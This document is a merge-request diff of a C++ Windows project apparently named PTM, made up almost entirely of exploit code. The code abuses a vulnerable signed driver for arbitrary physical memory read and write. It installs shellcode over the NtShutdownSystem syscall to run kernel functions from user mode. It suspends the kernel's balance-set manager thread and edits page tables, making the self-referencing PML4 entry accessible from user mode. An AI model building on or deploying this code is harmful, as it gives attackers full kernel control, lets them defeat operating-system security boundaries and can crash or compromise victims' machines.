Merge branch 'testing' into 'master'

Testing

See merge request _xeroxz/PTM!1
master v1.5
_xeroxz 4 years ago
commit c17be27342

@ -144,16 +144,21 @@
<ItemGroup>
<ClCompile Include="main.cpp" />
<ClCompile Include="mem_ctx\mem_ctx.cpp" />
<ClCompile Include="set_mgr\set_mgr.cpp" />
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="mem_ctx\mem_ctx.hpp" />
<ClInclude Include="set_mgr\set_mgr.hpp" />
<ClInclude Include="util\loadup.hpp" />
<ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm_ctx\vdm_ctx.h" />
<ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="icon.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

@ -15,6 +15,9 @@
<Filter Include="Header Files\vdm">
<UniqueIdentifier>{96d7e756-9d5b-4c3c-b594-aff6db3f2d51}</UniqueIdentifier>
</Filter>
<Filter Include="resources">
<UniqueIdentifier>{e1778cd8-6b3a-43dc-a95c-7b6f0896373e}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
@ -26,6 +29,9 @@
<ClCompile Include="mem_ctx\mem_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="set_mgr\set_mgr.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="util\nt.hpp">
@ -40,14 +46,22 @@
<ClInclude Include="vdm\vdm.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm_ctx\vdm_ctx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="mem_ctx\mem_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="util\loadup.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="set_mgr\set_mgr.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="icon.rc">
<Filter>resources</Filter>
</ResourceCompile>
</ItemGroup>
</Project>

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

@ -0,0 +1,3 @@
// Icon Resource Definition
#define MAIN_ICON 102
MAIN_ICON ICON "icon.ico"

@ -1,5 +1,5 @@
#include "vdm_ctx/vdm_ctx.h"
#include "mem_ctx/mem_ctx.hpp"
#include "set_mgr/set_mgr.hpp"
int __cdecl main(int argc, char** argv)
{
@ -10,24 +10,85 @@ int __cdecl main(int argc, char** argv)
return -1;
}
vdm::vdm_ctx vdm;
nasa::mem_ctx my_proc(vdm);
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::read_phys(addr, buffer, size);
};
const auto ntoskrnl_base =
reinterpret_cast<void*>(
util::get_kmodule_base("ntoskrnl.exe"));
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return vdm::write_phys(addr, buffer, size);
};
const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base);
std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(&vdm);
const auto set_mgr_pethread =
set_mgr::get_setmgr_pethread(vdm);
const auto result =
set_mgr::stop_setmgr(vdm, set_mgr_pethread);
std::printf("[+] stop set mgr thread result -> 0x%x (0 == STATUS_SUCCESS)\n", result);
if (!vdm::unload_drv(drv_handle, drv_key))
{
std::printf("[!] unable to unload vulnerable driver...\n");
return -1;
}
_read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return my_proc.read_phys(addr, buffer, size);
};
_write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
return my_proc.write_phys(addr, buffer, size);
};
std::printf("[+] sleeping 30 seconds...\n");
Sleep(30000);
// abuse test, make a vdm using a mem_ctx...
vdm = vdm::vdm_ctx(_read_phys, _write_phys);
const auto current_pml4 =
reinterpret_cast<ppml4e>(
my_proc.set_page(my_proc.dirbase));
for (auto idx = 0u; idx < 512; ++idx)
{
if (current_pml4[idx].present)
{
std::printf("pml4e at -> 0x%d (0x%p)\n", idx,
reinterpret_cast<std::uintptr_t>(my_proc.dirbase) + idx * sizeof pml4e);
std::printf(" - pfn: 0x%x\n", current_pml4[idx].pfn);
std::printf(" - writeable: %d\n", current_pml4[idx].writeable);
std::printf(" - executable: %d\n", !current_pml4[idx].nx);
if (current_pml4[idx].pfn == reinterpret_cast<std::uintptr_t>(my_proc.dirbase) >> 12)
{
std::printf(" [!]<- self referencing pml4e found at index: %d ->[!]\n", idx);
current_pml4[idx].user_supervisor = true; // you can manage your own paging tables now :^)
}
}
}
const auto ntoskrnl_base =
reinterpret_cast<void*>(
util::get_kmodule_base("ntoskrnl.exe"));
const auto ntoskrnl_pde =
my_proc.get_pde(ntoskrnl_base);
std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
std::printf("[+] press any key to close...\n");
std::getchar();
}

@ -2,19 +2,19 @@
namespace nasa
{
mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid)
mem_ctx::mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid)
:
v_ctx(&v_ctx),
dirbase(get_dirbase(v_ctx, pid)),
v_ctx(v_ctx),
dirbase(get_dirbase(*v_ctx, pid)),
pid(pid)
{
// find an empty pml4e inside of current processes pml4...
const auto current_pml4 =
v_ctx.get_virtual(reinterpret_cast<std::uintptr_t>(
get_dirbase(v_ctx, GetCurrentProcessId())));
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(
get_dirbase(*v_ctx, GetCurrentProcessId())));
for (auto idx = 100u; idx > 0u; --idx)
if (!v_ctx.rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).value)
if (!v_ctx->rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).present)
this->pml4e_index = idx;
// allocate a pdpt
@ -31,13 +31,17 @@ namespace nasa
// get page table entries for new pdpt
pt_entries new_pdpt_entries;
hyperspace_entries(new_pdpt_entries, new_pdpt.second);
this->new_pdpt.first = reinterpret_cast<ppdpte>(new_pdpt_entries.pt.second.pfn << 12);
this->new_pdpt.first =
reinterpret_cast<ppdpte>(
new_pdpt_entries.pt.second.pfn << 12);
// make a new pml4e that points to our new pdpt.
new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
// set the pml4e to point to the new pdpt
set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true);
set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) +
this->pml4e_index, new_pdpt_entries.pml4.second, true);
// make a new pd
this->new_pd.second =
@ -54,7 +58,10 @@ namespace nasa
// get paging table entries for pd
pt_entries new_pd_entries;
hyperspace_entries(new_pd_entries, this->new_pd.second);
this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12);
this->new_pd.first =
reinterpret_cast<ppde>(
new_pd_entries.pt.second.pfn << 12);
// make a new pt
this->new_pt.second =
@ -71,7 +78,10 @@ namespace nasa
// get paging table entries for pt
pt_entries new_pt_entries;
hyperspace_entries(new_pt_entries, this->new_pt.second);
this->new_pt.first = reinterpret_cast<ppte>(new_pt_entries.pt.second.pfn << 12);
this->new_pt.first =
reinterpret_cast<ppte>(
new_pt_entries.pt.second.pfn << 12);
}
mem_ctx::~mem_ctx()
@ -144,8 +154,31 @@ namespace nasa
new_addr.pd_index = this->pde_index;
new_addr.pt_index = this->pte_index;
new_addr.offset = this->page_offset;
// handle TLB issues, the TLB might need to be flushed for this entry...
__try
{
*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
return new_addr.value;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
while (true)
{
while (!SwitchToThread())
continue;
__try
{
*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
return new_addr.value;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{}
}
}
return {};
}
void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
{
@ -153,7 +186,8 @@ namespace nasa
reinterpret_cast<std::uint64_t>(
v_ctx.get_peprocess(pid));
return v_ctx.rkm<void*>(peproc + 0x28);
return reinterpret_cast<void*>(
v_ctx.rkm<pte>(peproc + 0x28).pfn << 12);
}
bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
@ -371,10 +405,10 @@ namespace nasa
}
}
void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
{
if (!buffer || !addr || !size)
return;
return false;
const auto temp_page = set_page(addr);
__try
@ -382,13 +416,16 @@ namespace nasa
memcpy(buffer, temp_page, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
{
return false;
}
return true;
}
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
{
if (!buffer || !addr || !size)
return;
return false;
const auto temp_page = set_page(addr);
__try
@ -396,7 +433,10 @@ namespace nasa
memcpy(temp_page, buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
{
return false;
}
return true;
}
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
@ -445,37 +485,4 @@ namespace nasa
return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
}
unsigned mem_ctx::get_pid() const
{
return pid;
}
void* mem_ctx::get_dirbase() const
{
return dirbase;
}
pml4e mem_ctx::operator[](std::uint16_t pml4_idx)
{
return read_phys<::pml4e>(reinterpret_cast<ppml4e>(this->dirbase) + pml4_idx);
}
pdpte mem_ctx::operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx)
{
const auto pml4_entry = this->operator[](entry_idx.first);
return read_phys<::pdpte>(reinterpret_cast<ppdpte>(pml4_entry.pfn << 12) + entry_idx.second);
}
pde mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
{
const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) });
return read_phys<::pde>(reinterpret_cast<ppde>(pdpt_entry.pfn << 12) + std::get<2>(entry_idx));
}
pte mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
{
const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) });
return read_phys<::pte>(reinterpret_cast<ppte>(pd_entry.pfn << 12) + std::get<3>(entry_idx));
}
}

@ -1,13 +1,13 @@
#pragma once
#include "../util/nt.hpp"
#include "../vdm_ctx/vdm_ctx.h"
#include "../vdm_ctx/vdm_ctx.hpp"
namespace nasa
{
class mem_ctx
{
public:
explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId());
explicit mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId());
~mem_ctx();
auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair<ppte, pte>;
@ -21,12 +21,10 @@ namespace nasa
auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair<ppml4e, pml4e>;
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
void* get_dirbase() const;
static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
void read_phys(void* buffer, void* addr, std::size_t size);
void write_phys(void* buffer, void* addr, std::size_t size);
bool read_phys(void* buffer, void* addr, std::size_t size);
bool write_phys(void* buffer, void* addr, std::size_t size);
template <class T>
__forceinline T read_phys(void* addr)
@ -60,19 +58,15 @@ namespace nasa
}
void* virt_to_phys(pt_entries& entries, void* addr);
bool hyperspace_entries(pt_entries& entries, void* addr);
void* set_page(void* addr);
void* get_page() const;
unsigned get_pid() const;
pml4e operator[](std::uint16_t pml4_idx);
pdpte operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx);
pde operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
private:
bool hyperspace_entries(pt_entries& entries, void* addr);
unsigned pid;
void* dirbase;
vdm::vdm_ctx* v_ctx;
private:
std::uint16_t pml4e_index,
pdpte_index,
pde_index,
@ -82,6 +76,5 @@ namespace nasa
std::pair<ppdpte, ppdpte> new_pdpt;
std::pair<ppde,ppde> new_pd;
std::pair<ppte, ppte> new_pt;
unsigned pid;
};
}

@ -0,0 +1,77 @@
#include "set_mgr.hpp"
namespace set_mgr
{
auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD
{
ULONG return_len = 0u;
std::size_t alloc_size = 0x1000u;
auto process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(malloc(alloc_size));
while (NtQuerySystemInformation
(
SystemProcessInformation,
process_info,
alloc_size,
&return_len
) == STATUS_INFO_LENGTH_MISMATCH)
process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
realloc(process_info, alloc_size += 0x1000));
const auto og_ptr = process_info;
while (process_info && process_info->UniqueProcessId != (HANDLE)4)
process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
reinterpret_cast<std::uintptr_t>(process_info) + process_info->NextEntryOffset);
auto thread_info = reinterpret_cast<SYSTEM_THREAD_INFORMATION*>(
reinterpret_cast<std::uintptr_t>(process_info) + sizeof SYSTEM_PROCESS_INFORMATION);
static const auto ntoskrnl_base =
util::get_kmodule_base("ntoskrnl.exe");
const auto [ke_balance_um, ke_balance_rva] =
util::memory::sig_scan(
KE_BALANCE_SIG, KE_BALANCE_MASK);
auto rip_rva = *reinterpret_cast<std::uint32_t*>(ke_balance_um + 19);
const auto ke_balance_set = ntoskrnl_base + ke_balance_rva + 23 + rip_rva;
const auto [suspend_in_um, suspend_rva] =
util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
rip_rva = *reinterpret_cast<std::uint32_t*>(suspend_in_um + 1);
const auto ps_suspend_thread = reinterpret_cast<void*>(ntoskrnl_base + rip_rva + 5 + suspend_rva);
static const auto lookup_pethread =
util::get_kmodule_export("ntoskrnl.exe", "PsLookupThreadByThreadId");
for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx)
{
if (thread_info[idx].StartAddress == reinterpret_cast<void*>(ke_balance_set))
{
PETHREAD pethread;
auto result = v_ctx.syscall<PsLookupThreadByThreadId>(
lookup_pethread, thread_info[idx].ClientId.UniqueThread, &pethread);
free(og_ptr);
return pethread;
}
}
free(og_ptr);
return {};
}
auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS
{
static const auto ntoskrnl_base =
util::get_kmodule_base("ntoskrnl.exe");
const auto [suspend_in_um, suspend_rva] =
util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
const auto rip_rva = *reinterpret_cast<std::uint32_t*>(suspend_in_um + 1);
const auto ps_suspend_thread = reinterpret_cast<void*>(ntoskrnl_base + rip_rva + 5 + suspend_rva);
return v_ctx.syscall<PsSuspendThread>(ps_suspend_thread, pethread, nullptr);
}
}

@ -0,0 +1,18 @@
#pragma once
#include "../vdm_ctx/vdm_ctx.hpp"
using PETHREAD = PVOID;
using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG);
using PsLookupThreadByThreadId = NTSTATUS(*)(HANDLE, PETHREAD*);
#define KE_BALANCE_SIG "\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8B\x88\x00\x00\x00\x00\x48\x8D\x05"
#define KE_BALANCE_MASK "xxxxx????xxx????xxx"
#define SUSPEND_THREAD_SIG "\xE8\x00\x00\x00\x00\x8B\xF8\xBA\x50\x73\x53\x75"
#define SUSPEND_THREAD_MASK "x????xxxxxxx"
namespace set_mgr
{
auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD;
auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread)->NTSTATUS;
}

@ -97,7 +97,7 @@ typedef union _pml4e
struct
{
std::uint64_t present : 1; // Must be 1, region invalid if 0.
std::uint64_t ReadWrite : 1; // If 0, writes not allowed.
std::uint64_t writeable : 1; // If 0, writes not allowed.
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.

@ -293,4 +293,54 @@ namespace util
}
return NULL;
}
namespace memory
{
template<std::size_t pattern_length>
__forceinline auto sig_scan(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) -> std::pair<std::uintptr_t, std::uint32_t>
{
static const auto ntoskrnl_module =
LoadLibraryEx(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(ntoskrnl_module);
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return { {}, {} };
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)ntoskrnl_module + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return { {}, {} };
const auto pattern_view =
std::string_view
{
reinterpret_cast<char*>(ntoskrnl_module),
p_inh->OptionalHeader.SizeOfImage
};
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
for (std::size_t index = 0; index < pattern_length - 1; index++)
pattern[index] = { signature[index], mask[index] };
auto resultant_address = std::search
(
pattern_view.cbegin(),
pattern_view.cend(),
pattern.cbegin(),
pattern.cend(),
[](char left, std::pair<char, char> right) -> bool {
return (right.second == '?' || left == right.first);
});
const auto found_address =
resultant_address == pattern_view.cend() ? 0 :
reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
const auto rva = found_address - reinterpret_cast<std::uintptr_t>(ntoskrnl_module);
return { found_address, rva };
}
}
}

@ -1,8 +1,11 @@
#include "vdm_ctx.h"
#include "vdm_ctx.hpp"
namespace vdm
{
vdm_ctx::vdm_ctx()
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
:
read_phys(read_func),
write_phys(write_func)
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
@ -34,6 +37,34 @@ namespace vdm
search_thread.join();
}
void vdm_ctx::set_read(read_phys_t& read_func)
{
this->read_phys = read_func;
}
void vdm_ctx::set_write(write_phys_t& write_func)
{
this->write_phys = write_func;
}
void vdm_ctx::rkm(void* dst, void* src, std::size_t size)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, dst, src, size);
}
void vdm_ctx::wkm(void* dst, void* src, std::size_t size)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, dst, src, size);
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
@ -49,7 +80,7 @@ namespace vdm
if (vdm::syscall_address.load())
break;
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
@ -60,7 +91,6 @@ namespace vdm
reinterpret_cast<void*>(
address + page + nt_page_offset));
}
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
@ -81,11 +111,11 @@ namespace vdm
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}

@ -5,24 +5,31 @@
#include <thread>
#include <atomic>
#include <mutex>
#include <functional>
#include "../vdm/vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* ntoskrnl;
using read_phys_t = std::function<decltype(vdm::read_phys)>;
using write_phys_t = std::function<decltype(vdm::write_phys)>;
class vdm_ctx
{
public:
vdm_ctx();
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
void set_read(read_phys_t& read_func);
void set_write(write_phys_t& write_func);
void rkm(void* dst, void* src, std::size_t size);
void wkm(void* dst, void* src, std::size_t size);
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
@ -46,12 +53,12 @@ namespace vdm
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
@ -60,35 +67,15 @@ namespace vdm
template <class T>
__forceinline auto rkm(std::uintptr_t addr) -> T
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
T buffer;
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
rkm((void*)&buffer, (void*)addr, sizeof T);
return buffer;
}
template <class T>
__forceinline void wkm(std::uintptr_t addr, const T& value)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
}
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
{
static const auto ntoskrnl_get_virtual =
util::get_kmodule_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical");
return this->syscall<MmGetVirtualForPhysical>(
ntoskrnl_get_virtual, addr);
wkm((void*)addr, (void*)&value, sizeof T);
}
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
@ -104,11 +91,25 @@ namespace vdm
(HANDLE)pid,
&peproc
);
return peproc;
}
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
{
static const auto ntoskrnl_get_virtual =
util::get_kmodule_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical");
return this->syscall<MmGetVirtualForPhysical>(
ntoskrnl_get_virtual, addr);
}
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
read_phys_t read_phys;
write_phys_t write_phys;
};
}
Loading…
Cancel
Save